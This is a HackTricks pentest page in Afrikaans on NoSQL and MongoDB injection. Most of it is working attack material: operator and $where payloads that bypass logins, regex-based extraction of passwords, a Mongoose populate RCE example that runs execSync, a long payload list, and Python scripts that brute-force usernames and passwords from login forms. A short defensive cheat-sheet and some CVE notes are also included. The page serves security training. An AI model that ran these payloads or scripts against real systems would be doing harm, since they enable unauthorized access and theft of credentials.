NoSQL-inspuiting
Reading time: 10 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Exploit
In PHP kan jy 'n Array stuur deur die gestuurde parameter van parameter=foo na parameter[arrName]=foo te verander.
Die exploits is gebaseer op die toevoeging van 'n Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Basiese outentisering omseiling
Gebruik nie gelyk aan ($ne) of groter as ($gt)
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
SQL - Mongo
query = { $where: `this.username == '${username}'` }
'n Aanvaller kan dit benut deur stringe soos admin' || 'a'=='a
in te voer, wat die navraag laat terugkeer na alle dokumente deur die voorwaarde met 'n tautologie ('a'=='a'
) te bevredig. Dit is analoog aan SQL-inspuitaanvalle waar invoere soos ' or 1=1-- -
gebruik word om SQL-navrae te manipuleer. In MongoDB kan soortgelyke inspuitings gedoen word met invoere soos ' || 1==1//
, ' || 1==1%00
, of admin' || 'a'=='a
.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Trek lengte inligting uit
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
Trek data inligting uit
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
PHP Arbitrêre Funksie Uitvoering
Met die $func operator van die MongoLite biblioteek (wat standaard gebruik word) mag dit moontlik wees om 'n arbitrêre funksie uit te voer soos in hierdie verslag.
"user":{"$func": "var_dump"}
Kry inligting van 'n verskillende versameling
Dit is moontlik om $lookup te gebruik om inligting van 'n verskillende versameling te kry. In die volgende voorbeeld lees ons van 'n verskillende versameling genaamd users
en kry die resultate van al die inskrywings met 'n wagwoord wat met 'n wildcard ooreenstem.
NOTE: $lookup
en ander aggregatiefunksies is slegs beskikbaar as die aggregate()
funksie gebruik is om die soektog uit te voer in plaas van die meer algemene find()
of findOne()
funksies.
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
Foutgebaseerde Inspuiting
Inject throw new Error(JSON.stringify(this))
in 'n $where
klousule om volle dokumente via bediener-kant JavaScript-foute te eksfiltreer (vereis dat die toepassing databasisfoute lek). Voorbeeld:
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
Onlangse CVE's & Regte-Wêreld Exploits (2023-2025)
Rocket.Chat ongeverifieerde blinde NoSQLi – CVE-2023-28359
Weergawes ≤ 6.0.0 het die Meteor-metode listEmojiCustom
blootgestel wat 'n gebruiker-beheerde selector objek direk na find()
gestuur het. Deur operateurs soos {"$where":"sleep(2000)||true"}
in te voeg, kon 'n ongeverifieerde aanvaller 'n tyds-orakel bou en dokumente eksterneer. Die fout is in 6.0.1 reggestel deur die selector-vorm te valideer en gevaarlike operateurs te verwyder.
Mongoose populate().match
$where
RCE – CVE-2024-53900 & CVE-2025-23061
Wanneer populate()
met die match
opsie gebruik word, het Mongoose (≤ 8.8.2) die objek woordeliks gekopieer voor dit na MongoDB gestuur is. Deur $where
te verskaf, is JavaScript binne Node.js uitgevoer, selfs al was bediener-kant JS op MongoDB gedeaktiveer:
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author }); // RCE
Die eerste patch (8.8.3) het topvlak $where
geblokkeer, maar om dit onder $or
te nes ondermyn die filter, wat gelei het tot CVE-2025-23061. Die probleem is volledig reggestel in 8.9.5, en 'n nuwe verbindingsopsie sanitizeFilter: true
is bekendgestel.
GraphQL → Mongo filter verwarring
Resolvers wat args.filter
direk in collection.find()
deurgee, bly kwesbaar:
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
Mitigations: herhalend sleutels verwyder wat met $
begin, kaart toegelate operateurs eksplisiet, of valideer met skema biblioteke (Joi, Zod).
Defensive Cheat-Sheet (updated 2025)
- Verwyder of verwerp enige sleutel wat met
$
begin (express-mongo-sanitize
,mongo-sanitize
, MongoosesanitizeFilter:true
). - Deaktiveer bediener-kant JavaScript op self-gehoste MongoDB (
--noscripting
, standaard in v7.0+). - Verkies
$expr
en aggregasie bouers in plaas van$where
. - Valideer datatipe vroeg (Joi/Ajv) en verbied arrays waar skalar waardes verwag word om
[$ne]
truuks te vermy. - Vir GraphQL, vertaal filter argumente deur 'n toelaat lys; versprei nooit onbetroubare objekte nie.
MongoDB Payloads
List from here
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
Blind NoSQL Script
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
Brute-force aanmeldgebruikersname en wagwoorde vanaf POST-aanmelding
Dit is 'n eenvoudige skrip wat jy kan aanpas, maar die vorige gereedskap kan ook hierdie taak uitvoer.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
Gereedskap
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
- https://github.com/ImKKingshuk/StealthNoSQL
- https://github.com/Charlie-belmer/nosqli
Verwysings
- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://nullsweep.com/a-nosql-injection-primer-with-mongo/
- https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb
- https://sensepost.com/blog/2025/nosql-error-based-injection/
- https://nvd.nist.gov/vuln/detail/CVE-2023-28359
- https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.